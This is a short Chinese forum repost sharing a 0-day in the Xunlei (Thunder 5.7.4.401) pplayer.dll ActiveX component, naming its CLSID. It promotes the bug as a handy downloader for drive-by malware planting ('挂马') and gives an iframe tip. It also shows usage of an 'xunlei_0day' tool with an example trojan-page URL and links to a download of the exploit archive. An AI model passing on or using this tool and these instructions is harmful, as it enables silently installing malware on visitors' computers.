从坏狼那儿看到的。。。HOHO拉过来再说。。。

原文地址：http://www.winshell.cn/read.php?831

badwolf: 下载者功能...

迅雷官方最新版本迅雷(Thunder5.7.4.401)依然受此漏洞影响
挂马相当好用，只是如果用iframe，宽高不能为0
（pplayer.dll 组件版本号：1.2.3.49，CLSID:F3E70CEA-956E-49CC-B444-73AFE593AD7F）

例如用方式如下:
命令Usage: xunlei_0day [htmlfile]
例如xunlei_0day http://www.winshell.cn/muma.htm

我也提供个下载地址：http://www.03389.com/Tool/xunlei_0day.rar